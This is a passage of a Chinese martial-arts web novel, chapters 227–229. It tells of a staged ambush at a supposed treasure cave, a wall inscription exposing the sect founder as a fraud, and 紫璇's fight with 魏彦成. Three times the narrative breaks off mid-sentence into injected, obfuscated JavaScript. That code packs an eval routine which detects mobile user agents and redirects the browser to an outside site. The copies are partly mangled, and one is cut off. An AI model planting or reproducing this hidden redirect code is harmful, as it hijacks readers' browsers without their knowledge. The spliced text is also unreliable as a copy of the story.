“天魄门诸般功法皆我所创,褚慕瑶谎作己出,又恐真情败露,蓄意杀我。储贼负师门恩义、夫妻情分,实非人也。余受其蛊惑,虽守口如瓶,亦难逃毒手,悔之不及。立此存照,待后世通晓,余始得瞑目。” 圣女的血书是用血液混着泥沙抹在墙上的。百余年后,血色褪去,唯余一种暗沉的黑褐色,在火光中看来,更显得凄楚可怖。 短短九十个字,众人却读了很长时间。初时无人出声,都眯着眼睛想再确认一遍自己看到的并非出自自己的臆想。可无论他们怎么看、看多少遍,墙上的文字都还是述说着同样的意思。 褚慕瑶,天魄门的创派祖师,那个传说中武功高强,令天魄门成为武林霸主的褚慕瑶,竟是个沽名钓誉、诳时惑众的伪君子! 更关键的是,这里根本就没有宝藏、没有秘籍,一切辛苦都是徒劳,所有传说皆为骗局!!! 没有一个人接受得了这样的真相,谢立梁一马当先,葛宏丰、占志高紧随其后,一群人摩肩接踵冲向洞外,准备找文远骥问个清楚。 可是,等他们争先恐后终于把身体挤出了洞外时,却同时傻了眼。 洞外山坳之中,魏彦成已经赶来,麾下高手尽出,正和文远骥、徐淑平等人交手。而与魏家护卫对阵的竟是昨天晚间围攻天魄门的那群江湖人。 不必说,旧部们看到的围攻天魄门的江湖人少部分是林夫人率领的太湖水匪和邓钊带着的几个流沙帮众。其余人则是贺家庄护院、云阳范式子弟及天魄门弟子们假扮成的江湖帮派。 这要多亏了阮云飞,她指示自己人扒下不少江湖人的衣衫,这才让昨日这场戏演得如此逼真。 而且,魏彦成及其手下的到来,也俱在文远骥的意料之中。 上一回借刘从毅之机来天魄门时,魏彦成虽然不能随意下山,却把山上天魄门的各处建筑摸了个门儿清。他指挥手下分赴各处搜索,花去不少时间后,居然没有发现一个人影。 魏彦成不信邪,如果无人下山,那么人一定是到了更高处。他亲自带人继续往上攀登,果然在拔仙台发现了足迹。 魏家众人沿着足迹跋涉向西,几个时辰的疾行之后总算是发现了前方队伍。魏彦成不急于对付文远骥,而是吩咐手下放慢速度,趁着夜色悄悄跟随其后。 尾随持续了整整一夜。 众人下到山坳里时,魏彦成下令手下按兵不动,暂时隐在高处观察他们的举动。 借助熹微的晨光,他亲眼目睹了紫璇中剑、旧部进洞的景象。其后文远骥正吩咐人将紫璇抬去安置,天魄门并无多少人,围在洞外的大多是自己一方的江湖人。 他随即引着自己的人马冲下山梁,向文远骥等人掩击过去。 奇怪的是,他的人刚一出现,许淑平、骆雁声和范宝林等适才根本未见踪影的人随即现身,穿着不同帮派服色的江湖人也马上倒戈,向着自己冲杀了过来。 天魄门出其不意先发制人的优势在魏彦成控制的诸多高手面前并没能持续很长时间。 己方阵营中武功最高的几个不得不以挑起应付高手的重担,一个对付多个,虽然对方伤不了自己,可要迅速拿下则基本没有可能。 年轻一辈中,紫璇受伤,韩仲昌同紫瑛行调虎离山之计后便下山去接应瑾瑜,至今未归。 乐青澜和贺新韵功夫一般,正和济英堂的弟子们结成阵势,合力围猎被圈在其中的四个高手。 阮云飞同江珺翊各分去两人,剑气凌人,以攻为守,勉强可以支持。 魏家护卫和天魄门各路援兵的人数实力都相当,你来我往,暂时未分胜负。 一见谢立梁从山洞中露出头来,文远骥立刻后撤大吼:“谢立梁,魏彦成在此,你等还不践诺么?” 占志高与葛宏丰拨开众人,挤到谢家兄弟二人身侧,想问问他的主意。 在他们开口之前,张久辉已然号令自己的手下冲了下去。伏牛山上下近百人无一不受噬魂散威胁,其中还有他最疼爱的儿子,只有保住文远骥才能拿到解药。 谢立梁额头一片冰凉,片刻前还要找文远骥理论的冲动飞快消失。魏彦成和文远骥相争,置身事外定会引来胜者的事后清算,可帮哪一方对自己更为有利呢? 电光火石之间,十年前文远骥饶恕其夺门杀妻之仇,只警告他们日后不得再度为恶的模样浮现脑中,谢立梁把心一横,招呼后方部下:“旧部听令!捉拿叛徒,共卫天魄门!” 谢家行动之后,葛宏丰和占志高也立即指挥手下按谢立梁号令行事。 谢立梁如此选择,并不是要对文远骥曾经的仁德投桃报李,而是直觉到天魄门由文远骥这样性子和软之人统领对自己的威胁更小。 他们已接连领教了魏崧泽和魏彦成的不择手段,一旦魏家得势,自家基业必然不保。既然宝藏已成云烟,守住自己本就有的才是上策。 旧部们带来的人虽不多,但都是以一当十的高手。他们肯站在文远骥一边,局面登时大改。 与此同时,山坳一侧的高岗之上涌出三十多人,江邵谦为首,伍双全和党元恒分别带着一队人及器械若干平铺在山岗之上。 所有武器在两人指挥下齐刷刷瞄准下方。只待江邵谦一声令下,新鲜出炉的各种机关暗器毒粉冷箭便会同时出击。 天魄门用两天时间,将原先布置在太白山总堂中部分可以挪动的机关移至武功山藏宝洞外,隐藏于山坳之中。 旧部们刚刚进洞,蹲守在此的弟子们便在江邵谦的指挥下立刻带着机关武器爬到后方山岗之上。 即便谢立梁最终食言,在天魄门和魏家的对决中袖手旁观甚至助纣为虐,天魄门仍有力量可以截断魏彦成及各旧部们的攻势。 江邵谦取出一只铁哨,鼓气吹响,哨声震彻山谷。 正和魏家护卫纠缠的林夫人与邓钊立刻高喊“快撤”,不仅太湖水匪和流沙帮,所有天魄门的援兵皆尽全力摆脱与自己交手之人,返身快速退向四周。 第二道哨声响起,比之前的更加高亢短促。 几乎同时,向外猛冲欲追上逃跑对手的魏家护卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596678|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要么在如雨的箭矢下纷纷却步,要么蹭到了附着在箭矢上的毒粉毒药,毒性立时发作,痛痒难忍,哪儿还有什么战力。 江邵谦嘴巴再次贴住铁哨,急速吹了两下。左右两支队伍换上弩机,对准了适才躲过一击的七八个护卫,以及仍在和文远骥等人纠缠的魏家高手。 从刚才开始,徐淑平在有意无意之间故意引逗对手背向山岗,骆雁声察觉她的用意,也如法炮制。文远骥则在对敌之际故意左右纵横,让对手失却准头不得不凝神细看。 这种方法也让文远骥得以接近范宝林,在哨声响起的一刹那拉住拉住他往后急撤,险些砍断其脖颈和小腿的两个高手则中箭不起。 直到这时,酣战之中的旧部势力才猛然醒悟,不得不先集中精神当心飞来的暗箭。但守冲堂和固元堂的弟子们训练有素,准头极好,只要他们不随意乱动,这些弩箭是不会射到他们身上的。 魏彦成一直在后方督阵,亲眼看到旧部们背信弃义对付自己的时候,他虽然恼怒,却保持着淡定。 直到江邵谦突然出现,他才真正感到了害怕。 可是变故陡生,魏彦成还来不及反应出新的对策,派出去的高手护卫便折损了六七成。 偏生江邵谦高高在上,自己当前无论如何也奈何不了他。再这样持续下去,自己麾下无人可用,这一局必得输得一败涂地。 他身后尚有十个未曾出列的护卫,皆是被控制了家小亲眷的死士。他飞快吩咐了几句,然后和这批护卫同时行动,趁着局面大乱冲进了战阵。 魏彦成衣衫内罩着名贵的金丝软甲,此刻只将精钢打造的折扇迎风飞舞,护住头脸即可,射来的弩箭根本奈何不了他。 他的目标只有一个,文紫璇! 紫璇在旧部们进洞之时就被文远骥隐藏在了山洞后方凹进去的一处角落。 在文远骥的计划里,天魄门必会经历魏彦成手下的精密搜索,唯有空无人烟才能引其前往武功山。何况跑马梁全程嶙峋曲折,距离又远,他不敢冒险在这个时候安排人将紫璇送回去。 然而,他忽略了,已经完成所谓“圣女使命”的紫璇在魏彦成眼里仍有用处。 适才观察山坳中情形时,魏彦成捕捉到了文远骥安置紫璇的位置。只要抓住她,哪怕她马上就要没命了,也能让文远骥投鼠忌器,从而让局面再次掌握在自己手中。 “要是不想看到她挫骨扬灰,就让上面的人停手!” 抓一个周身带血毫无反抗之力的人没有丝毫难度,魏彦成一找到紫璇就捏住她的脖子将人拖了出来。 紫璇额上青筋暴起,神色痛苦难当,乐青澜不顾一切地想冲过去,被贺新韵死死拉住。 徐淑平和骆雁声抢上数步,但都不敢靠得太近。江珺翊和阮云飞更是焦急万分,看向了一侧的文远骥。 江邵谦在高处看得分明,不用文远骥下令,就已经抬起左手,弟子们马上停下动作,只是手还扣在扳机上保持着攻击的姿势。 文远骥面色如腊,一动不动,似乎在激烈地思考接下来的对策。挟持紫璇的只有魏彦成一人,若他和徐淑平、骆雁声三人同上,有没有可能救下紫璇? 然而这样的盘算在下一刻就落空了。 魏彦成身后排开十个护卫,他们是趁着人群冻结之时赶过来的。站定之后,十人同时挑开外衫,露出了绑在身上的火药筒。 227. 崩溃 魏彦成如此丧心病狂,以谢立梁为首的旧部势力们首先脊背发凉,暗想自己的预料没错,他果然还留着一份火药,也都意识到这些火药很可能原本是用来对付他们的。 林夫人和阮云飞隔着数人对视一眼,握着武器的手指节泛白,都在后悔自己没能料想到此节,竟让天魄门仍然曝露在火药的阴影之下。 邓钊在认清了魏家护卫身上的东西之后,忙不迭地踉跄后退,恨不能将身体隐入山石之中。 一时之间,在场众人或惶然或焦急,不约而同地将视线集中在了文远骥身上。 “我的人已经停手,快放开她!” 魏彦成见招数奏效,心中暗暗松了口气,扼住紫璇喉咙的那只手却丝毫不见松动,他看了一眼离自己只有几步之遥的洞口,问道:“你们找到宝藏了?” 又恶狠狠盯着文远骥身后的谢立梁和张九辉等人,哼了一声:“看来,这就是收买你们的价钱?” 众人默然无语,没有一个人会在这个时候出声,告诉他所谓的宝藏并不存在。 “可惜啊可惜,这份宝藏的主人只能是我,就当诸位是为我打头阵吧。” 计谋得逞胜券在握的魏彦成全然未曾注意到旧部们诡异的沉默,只把这幅情形当成是败者的无奈和被动。 “圣女?”他微微偏过头,转向身前一直没有任何挣扎迹象,任由他摆布的紫璇,用一种戏谑的口气,“作为打开宝藏的大功臣,陪我走上一趟吧。” 在天魄门伏击之下,只有两个高手毫发未伤,此刻已被魏彦成招呼到自己身边。他们两人开路,魏彦成押着紫璇在后,在所有人都注视下迈进了藏宝洞。 身藏火药的十个护卫一字排开,在洞穴外筑起了难以撼动的壁垒。 文远骥双拳紧握,死死盯住洞口,一项理性不信鬼神的他竟也在心里默默祈求起神灵:至少这一次,帮帮璇儿。 比起洞穴初开时,太阳升得更高了一些,洞内的光线也因此较之前充足,走进洞内最先发现的是脚下翻到在血泊之中的毒蛇毒虫,然后便是在些微的昏暗中空空荡荡的山洞内景。 魏彦成疑心骤起,尚未发作,其中一个高手喊道:“这儿有东西!” 魏彦成恐怕有诈,仍是掐着紫璇的脖子,逼着她和自己一同向前。 然而,壁上的文字太过震撼,即便他防范之心再强,在这番冲击之下手也不由得颤抖起来。 紫璇抓住机会,手肘猛向后怼的同时出脚重重踩到他脚背上,魏彦成本能地就要躲闪。这一躲,手离紫璇的脖颈便更远了些。紫璇顺势背手点向他腰窝,再次逼得他退开一步。 魏彦成立马上前想再抓紧她,他身边的两个高手也向着同一方向出手。紫璇却飞快遁地滚向三人空隙,手同时伸入腰侧,头再探出时,三只银针先后射出。 当前一人立刻翻倒,另一人闪在同伴身后躲过一击,魏彦成仍是挥舞铁扇将银针屏退。然而,和山道上埋伏之人一样,银针之后接着暗器。 紫璇显然对洞穴的大小形状十分清楚,她贴着洞内石壁无端游走,暗器和银针交替出手,魏彦成和他手下仅剩的一人担心上面有毒,碰都不敢碰,只能拼了命地闪躲。 魏彦成还好,手中铁扇对付暗器最为得便,但那位高手却吃了没有武器的亏。加之洞内闭塞,紫璇在暗器上附着的力道也极为强大,即便他们能迫使暗器改变轨迹,但暗器撞到石壁的下一刻则会弹射回来,和紫璇新射出的暗器叠加,形成密不透风的攻势。 紫璇瞅准时机,在洞穴深处瞅准两人,又射出两枚银针,正忙于躲避两侧同时飞来的暗器的那名高手未及察觉,没能躲过。 急切间魏彦成拉过正摇摇欲坠的他,将其当成肉盾,替自己挡下了银针已经所有仍在飞舞的暗器。 等到洞中安静下来,紫璇再无暗器可用时,魏彦成才将依然成了暗器架子的手下弃置一旁,对上了正从黑暗中迈步走向自己的紫璇。 就这样,那个为打开洞穴献祭了全身献血的圣女,那个刚才还性命垂危毫无还手之力的紫璇,竟然再一次站在了自己对面,而且招式精准、步履稳当,哪儿像是失血过多的样子!?? 刚刚死里逃生的魏彦成这才恢复神智,紧接着瞠目结舌,一点也掩饰不住此时此刻心中的惊涛骇浪。 紫璇只是淡然一笑,先用手抹去适才行动中飞溅到脸上挡住视线的血迹,这才看着自己全身红艳艳的衣袍,摇头道:“你别说,王老前辈造出来的这些假血的确逼真,就连我自己偶尔低头也都免不了恍惚一下。” “假血?”魏彦成仍有些懵然,“这到底是怎么回事?” 紧跟着,他想起紫璇出招前自己读到的那些文字,眼眸中除了惊惧又添上些愤怒,声音也更为尖利。 “宝藏在哪里?!” 紫璇没有回应。 上山后的种种异常正在魏彦成脑海中横冲直撞,他下意识地吼叫:“阴谋!骗子!从紫瑛开始,一切都是你们计划好的,是不是!” 这样的他,自然无法注意到紫璇下意识抚住心口的手,和她此刻并不平稳的气息。 虽然魏彦成头脑混乱,很难理清整件事的来龙去脉,但基本的猜测是恰当的。他所看到的一切,都是天魄门精心设下的一局棋。他与旧部势力既是棋手亦是棋子。 如果一切皆如天魄门的计划,那么不仅有关祖师褚慕瑶和初代圣女的真情可以公之于众,魏彦成费尽心机得来的诸多附庸也会逐步瓦解。 只要他成了孤家寡人,对付起来就没有那么困难。 虽然紫璇愿意为了真相和太白山舍弃性命,天魄门内所有人却不愿让她像晗月那样再度成为权与利争夺的牺牲品。 而一切的关键就在于神锋无影和圣女之血。 文远骥盯着江珺翊一遍又一遍练习,令他在保持准头的前提下尽可能眼花缭乱,扰乱众人的视线,还必须尽量收敛附在剑上的内力,以免让剑气伤到紫璇。 而所谓的“圣女之血”,则是王三山带着章煦、紫瑛等人熬制的解毒之物加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607217|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上些许天然的染料和蜂蜜制成的。 庞氏带着天魄门的女眷,在一天之内缝出了近百个羊皮制成的囊袋,装满王三山特制的假血,又将它们挨个儿排好,缝在了紫璇的里衣之上。 出剑之时,江珺翊精心控制着位置和深浅,剑尖划破囊带,鲜红又略带粘稠的液体激射而出,除了本就知情少数人,目睹此场面的人又怎会怀疑其中有假? 然而,紫璇并不是全然无虞的。 神锋无影在出招之时带动的内力再怎么收也不会完全没有。文远骥之所以不亲自上场,就是考虑到自己内力浑厚,即便设法控制紫璇也会抵受不住。 江珺翊年纪尚轻,功力比他逊一筹,是做这件事最合适的人。可即便如此,被笼罩在剑锋之内的紫璇还是被他的剑气所伤,只是尚未到送命的地步而已。 魏彦成和随他进洞的两个高手功夫都不弱,为了尽快拿下三人,紫璇发射银针和暗器时不得不在手劲之上在附以内力。如此一来,内伤便又重了一层。 魏彦成怒吼连连,紫璇却一语不发,只是因为她还在努力压制喉间的腥甜气息。 “不对!宝藏一定是早就被你们转移走了,你们故意引旧部和我来此,就是为了骗我们,好让我们不再纠缠,对不对!” “你错了。” 直到此时,紫璇才能够勉强发出还算平稳的声音,“这世间本来就没有宝藏。” 在安抚自己翻涌难平的气血之时,紫璇头脑中就已经掠过了无数的念头。若她和魏彦成硬拼,胜算已然不大。 文远骥他们没有冲进来,想必是还在想办法解决那些身负火药的护卫。在有人来救她之前,自己务必先拖住魏彦成。 于是,紫璇指着魏彦成身后写着血书的那面石壁,讲起了藏宝图上的那个故事。 可是,对于魏彦成来讲,宝藏是他震慑和要挟旧部的筹码,是他超越文远骥成为天魄门新门主的标志,也是他向魏崧泽证明自己能力必不可少的战利品。 比起只是贪图宝藏的旧部,真相带给魏彦成的压力更加难以承受,压力之下的否认和暴虐也更加强烈。 紫璇尚未讲到最后,他已然双目猩红,发疯一般冲了过来。 “假的!假的!假的!你休想蒙我!” 紫璇脚步一转,避开魏彦成,又立刻期向另一边。 “我说的每句话都是事实。” “不可能!宝藏之说怎么可能是假的!” 魏彦成的扇子又赶到了紫璇身前。 “如你不信,可随我去看那副家谱和藏宝图,就知我没有作假。” “我不要看这些!你别想继续欺瞒我!” 恍惚之中,似乎有另外一个声音控制了魏彦成的头脑,他的脑海中只有“杀了她”三个字在反复回想。只要杀了她,这一切就都不是真的。只要杀了她,他就还有机会重新夺回属于我的一切! 魏彦成双眼发直,状若疯魔,所出的招式前所未有的凌厉,紫璇全力招架,已无法再出声辩解。 228. 落幕 只对了两招,紫璇就注意到魏彦成虽然招式狠辣,前后却并不连贯,亦没有章法,似乎只是在斗狠,而紫璇刚好在他眼前而已。 紫璇心下稍定,提气闪身避过魏彦成的杀招,腰腹一卷,退入山洞最深处暂避。黑暗中她睁大眼睛,当心着随时有可能期到身边的扇缘和掌风。 然而,魏彦成目力有限,一旦没了紫璇这个标靶,一切行动就失去了方向。只见他大张着嘴巴喘气如牛,眼睛机警又茫然地逡巡着四周。 这幅模样,犹如骤然失去猎物的野兽,腾腾杀气自他四肢百骸里喷薄而出,仿佛只要紫璇发出一点响动,他立刻就会扑上来将她撕碎。 失去了目标,魏彦成戾气无处发泄,开始随意击打起任何进入他视线的地方。铁扇挥出,离他最近的一处石壁中飞出若干石子,蹦向他白净却狂暴的脸庞,登时划出了数道血痕。 魏彦成浑然不觉,继而推出一掌,又有更多的碎石激射而出,飞向四方。他心智失常,如此毫不顾惜地滥用内力,已有取死之道。 紫璇本打算就这样藏在暗处等他力竭,可魏彦成不辩前后,身体随着招式的反作用力左右支绌,竟不自觉地靠近了留有圣女血书的那面石壁。 短时间内魏彦成的汹汹气势不会消耗殆尽,眼看着他下一掌就将击中墙上字迹,紫璇几乎是无意识地从斜刺里蹿出,靠着最原始的蛮力将魏彦成推到了一边。 紫璇位置暴露,魏彦成以超乎寻常的敏捷身手弓步跃起,再一次向她发起了强攻。 紫璇斜飞了一眼右后方暂时无虞的血书,再也顾不上其他,运起所剩的全部精力,迎着魏彦成的掌风冲了过去。 这面墙,这些文字还有真相,都必须留传下去! ************************** 此刻若有人站在武功山高处俯瞰,就会发现半山腰上有一道人影时隐时现,急如星火。 “再快些!” 紫璇浴血奋战摇摇欲坠的画面总是不受控制地闪现在脑海中,瑾瑜唯有咬紧牙关,告诫自己这些不过是随恐惧而生的幻想,继而催逼自己加快速度,提气继续向着高处疾奔。 在他下方的蜿蜒山道中,一前一后、一老一少,还有两个人也在急速行进。但因为轻功比不上瑾瑜,渐渐拉开了和他的距离。 “朱老帮主,宝藏果真藏在武功山上么?” “我亲耳听见文远骥的女儿同那个年轻人讲的,不会错!” 朱鸿旭虽然内力充沛,但毕竟年老,尾随瑾瑜半夜未歇,行的又都是偏僻便道,此刻已有疲态。 故而,他只回答了这一句便摆手回绝了白河寨主童济英的其余疑问,指了指前方,示意他赶紧跟上。 昨日晚间,紫瑛和韩仲昌出太白山,赶往阮云飞告知的暂时安放大批江湖人的山谷。 那里如今只有瑾瑜和彭城派的几个弟子驻守,一旦麻药劲力消失,江湖人齐齐苏醒,若追问起暗器偷袭的事来,必然是个麻烦。 韩仲昌随身带着四百枚噬魂散的解药,只要及时赶到把解药亮出来,应当足以化解这场可能的龃龉,同时完成天魄门借林夫人之口对这批江湖人做出的承诺。 韩仲昌携住紫瑛,在河谷荒地中疾行也一如平地,丝毫未让她感觉不适。连两个时辰都没用上,两人便已然看见谷地南侧树林中莹莹的火光。 彼时江湖人犹昏睡未醒,韩仲昌便先问起陆文渊的情况。 小鸢略带了哭腔道:“师叔的血止住了,伤口也已经上药包扎,但是整个人如今昏昏沉沉的,叫也叫不醒。” 韩仲昌虽非医者,但跟随骆雁声多年,一些基本的望闻问切之道还是懂的。 他仔细查看了陆文渊的脉象和伤势,沉吟道:“吴宏功夫有限,陆兄内伤倒不重。如今昏迷,主要是因为受伤时曾与人激烈相搏,气力有亏,尚需时间恢复。” “那就好!” 不仅小鸢,周宴等其余几个围拢过来的弟子也都欢天喜地地叫起来。 可韩仲昌却没有一丝如释重负的表情,反而微微蹙着眉检视陆文渊右肩的伤口:“吴宏下刀的地方选得忒毒,正好穿透了肩胛。” 弟子们登时睁大了眼睛。 瑾瑜忙追问道:“要紧么?” “我师父在,自然治得好,但是伤及筋骨,怎么也得花上数月才能行动自如。” “不累及性命也算是万幸了,当时情况危急,想必陆大哥也是到了绝境,这才宁可自己重伤也要先拿下吴宏。” 众人唏嘘了一阵,又开始向紫瑛询问山上的情况。紫瑛状态低沉,只简单说了一下天魄门的大致计划。 之后又讲了几句话,众人见她谈性不高,便也不再勉强,任由她一个人走开了。 未几,陆续有人醒来,瑾瑜和小鸢分别找到几个江湖帮派的首领,向他们道明原委后,由韩仲昌按各派人数分发解药。 一切都有条不紊,麻药之事也未在江湖人中掀起多大波澜。得到解药后,大多数人立即服下,也有少部分人心怀戚戚,要等同伴确认解药没有问题后才敢吃进嘴里。 对此小鸢还颇有些不满,刚要牢骚就被瑾瑜摇头止住。 “人之常情,随他们去吧。” 时间一点点过去,陆陆续续有门派离开,到前面横渠镇打尖住宿。走之前都会找瑾瑜等人言明,如若自己人有任何不妥,一定会找上太白山向文远骥讨要说法。 彭城派的弟子们愤愤不平,却也不再言语。 紫瑛一直容色紧绷,即便在给韩仲昌帮忙时也有些心不在焉,瑾瑜问了几次她都闭口不答。 待众人散去,他们带好马匹行装、用一幅担架抬着陆文渊往太白山方向出发时,已将近子时。 不知为何,这一回就连瑾瑜也莫名紧张起来,分别时紫璇的种种异样再度萦绕心间。紫瑛的焦虑无着仿佛也在暗示着什么。 他有些不放心地跟上紫瑛,问道:“我们把火药截下来,应该没有露出破绽吧?” “天魄门一早布置得宜,魏彦成又着急上山,很难瞧出端倪。如果真让他发现了什么不妥,他也不可能长驱直入,上到石牌坊那么高的位置。” 回话的是韩仲昌,紫瑛依旧默不作声。 “魏彦成还有什么阴谋诡计?” “这个未知。但魏彦成对门主之位和宝藏都势在必得,有什么更狠辣的手段并不稀奇。” 紫瑛仍是不语,韩仲昌顾念她或许还沉浸在和魏彦成的对话之中,便罕见地多说了几句话,替她回答。 但同样的情形看在瑾瑜眼里却是另外的含义。紫瑛越是安静,他的不安就越强烈,最后已顾不上礼貌,直接扯住她的衣袖问道:“到底怎么了?!天魄们是不是还有什么危险?璇儿呢?她……” 紫瑛眉睫颤动,隐忍的泪花在眼眶中闪烁。 “求求你告诉我,璇儿她是不是有危险?” 紫瑛沉默了多久,瑾瑜的心就被放在火上烤了多久。或许是出于不忍,亦或许是希望有人能够分担自己的忧虑,紫瑛最终还是开了口,向瑾瑜讲述了宝藏的真相、天魄门意欲公开真相的计划和紫璇可能会面临的伤害。 “原本璇儿还打算用自己的性命来扣开藏宝洞,是王老前辈想出了办法,用药剂替代,便可以避免她因此牺牲。我还高兴了大半日,谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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章煦晓得厉害,再一次向自己负责的小队说明了武器的用法后,指挥他们服下辟毒的药丸,然后背着枪铳攀缘起了山壁。 六人各自爬到事先踩踏好的位置,章煦哨声一响,同时向下释放毒弹。毒弹触及底下的岩石立刻炸开,四散为烟尘,绑着火药的死士本能地呛咳了几声,却也因此吸入更多毒粉,继而一个接一个地倒下。 洞外众人皆是大喜,江珺翊立刻指挥自己人捂住口鼻,去将死士身上的火药全部卸下。 而在此之前,文远骥已经仗着自己内功深厚,不加掩护地冲入了山洞。 洞内,魏彦成倒在一边,手脚俱废,全身上下血迹斑斑,口中喃喃自语:“门主是我的……宝藏是我的……都是我的……”。 他的对面,紫璇正伏在一处石壁之上,一动不动。 文远骥急切地将女儿抱起,只见她露着疲惫的微笑,嘴角鲜血成行,气若游丝。他只觉得心跳骤停、全身冰凉,一双手颤巍巍的,根本接不住不断下坠的紫璇。 还是江珺翊进来,从他的手上接过了紫璇。他说了什么文远骥根本听不到,他只是机械地跟在后面,走出山洞时刺目的阳光照在头上,血液瞬间沸腾,他终于反应过来,刚刚看到的意味着什么。 可是,他还没有冲到紫璇身边,另一个人影先于他扑了过来。 瑾瑜悲怆的叫声响彻山谷,文远骥似是被他的哀恸撞了个满怀,人不由自主地踉跄着退后,最终跌坐在了地上。 在几乎所有人都围拢到紫璇和文远骥身边,或感叹或痛哭或安慰之时,朱鸿旭和童济英溜入山洞,借着斜斜射入洞中的光线读完了墙壁之上的血书。 朱鸿旭黯然摇头,童济英尚在寻找宝藏的踪迹,他已经悄悄步出洞外,趁着无人注意匆忙下山了。 229. 尾声(一) 韩仲昌从药庐出来,准备回清影阁休息,刚走到赤霞山庄门口,就遇上了似乎在等人的紫瑛。 他步履未停,只点了一下头算是打招呼。 “韩大哥…… 紫瑛却叫住了他,语带迟疑。 韩仲昌转过身子,见紫瑛面色微胀,两只手攥在一起,一副想说话又不知道怎么开口的模样。 他心下了然,只淡淡地道:“我忙着煎药,没功夫和人嚼舌根。” 紫瑛刷地抬起头,又马上低了下去,仍有些不放心:“你真的……就连骆前辈也没有说吗?” “师父整日都在同师伯斟酌疗法,也没功夫听我说话。” 紫瑛轻轻点了两下头,手还是没能松开,脸上的红晕也在不经意间跑到了眼睛里。 韩仲昌想转身离开,却又不忍心抛下显然正在伤怀的她,便只好呆呆地立在原地,许久才想起该问的话来:“你……这两个月的月事还正常吗?” “有些推迟而已。”紫瑛下意识回答,却在反应过来他为什么这样问之后变得结巴起来,“我没有……怀……” 韩仲昌虽然算是半个大夫,但毕竟是男子,和他讨论如此私密的事情,紫瑛还是觉得难为情。 “那就好,”韩仲昌却不以为然,认真说道,“不过日后还是要谨慎些。女孩不比男子,无论如何,受害的都会是女子。” 紫瑛抿着嘴无言颔首,半晌后方抬头问道:“你不会觉得,女子尚未成婚便……失了……,是‘不检点’么?” “失了什么?‘贞洁‘?”韩仲昌难得露出牙齿,冷笑了两声:“我只知坚定不渝、忠于道义为‘贞’,和男女欢|好有什么相干?” 他看着紫瑛,带着微微怜惜道:“一般来说,这件事发生在年轻女子身上,大都是被骗或是被迫的,若因为这样就指摘女子,那那些狎婢偷欢、出入青楼的男子又怎么算?更有那等忘恩负义、贪婪无耻之辈,才真正算的上是‘不知检点’。” 说完这些话,韩仲昌又恢复了少言寡语的状态,反倒是紫瑛,不仅慢慢绽出微笑,还对着他调侃道:“韩大哥,以前竟没发现,你也是个美男子呢。” 韩仲昌眯起一只眼睛,颇有些惴惴道:“你……什么意思?” “没什么意思,就是突然觉得你也挺可爱的。” 韩仲昌更是大惊,“我我我”了半天也没能说出一句完整的话来。 紫瑛忍俊不禁,居然还调皮地拍了拍他的肩膀:“放心吧,我不是看上你了,别那么自恋。” 然后便扬长而去,留下韩仲昌一个人在风中凌乱,为自己擅做好人的行为后悔不迭。 *********************** 无锡,魏宅。 魏崧泽正坐在魏若琛生前所居的卧房里,一寸一寸地抚摸着房中的每一件家具,期待从中找出爱子曾在此生活过的痕迹。 可惜的是,魏若琛为了养病搬到这里还不到三年,且大部分时候都有人伺候,房中陈设大多崭新,并瞧不出主人生前的印记。 唯在床架的下方,有一处利器划过的浅浅纹路。那是有一日晨起时,魏若琛和他吵架,抓起手边的药碗猛砸到地上,四碎的瓷片溅起来撞在床边弄出来的。 魏崧泽坐在地上,手一遍又一遍地拂过那处划痕,回忆起那天早上儿子同他嘶吼过的每一句话,胸中痛如刀绞。 一个下人悄然进来,有些犹豫地看着老爷。 一个月间,魏崧泽须发皆白,一下子老了十岁有余,对待下人也不如之前那般严厉,甚至可以说是无所谓旁人对他恭不恭敬。 不过他积威仍在,温叔调教出来的婢仆也很守规矩,禀报回话时仍不免悬着心,避免触怒于他。 “老爷。” 下人小心翼翼地叫了一声。 “什么事?”魏崧泽手上动作微滞,头也不回地问道。 “二……二少爷回来了……” 下人见魏崧泽对此并没有什么反应,便捡着不那么刺耳的话飞快说道:“送二少爷回来的人自称江邵谦,说是想拜会老爷,现正在前厅等候。” “江邵谦?” 魏崧泽的注意力终于被勾起,捕捉到了下人口中不同寻常的措辞:“送……回来”。 “彦成怎么了?!!” 下人忙把身子躬地更低,小声道:“二少爷……他……他不太好,老爷快去前厅看一看吧。” 魏崧泽撑着床头直起身体,在婢仆的搀扶下飞快赶往前厅。 厅外,魏彦成目光呆滞,手中无意识地比划着各种招式,似乎正在和一个无形的人搏斗,同时口中嘟囔出声。 需要趴在他身边仔细辨别,才能听得出他说的一直是这样几句话:“都是我的,宝藏是我的,门主也是我的。” 这样的魏彦成岂止是“不太好”。 魏崧泽拗不过次子,将自己的全部力量交给他、默许他继续和文远骥斗法时,虽然并不在乎他成功与否,却也未曾想过他会变成这个样子。 怒火从心头烧起,他猛地扑入正厅,抓起正坐在其中喝茶的江邵谦,喝问道:“文远骥把他怎么了?!!他为什么会变成现在这样?!!” 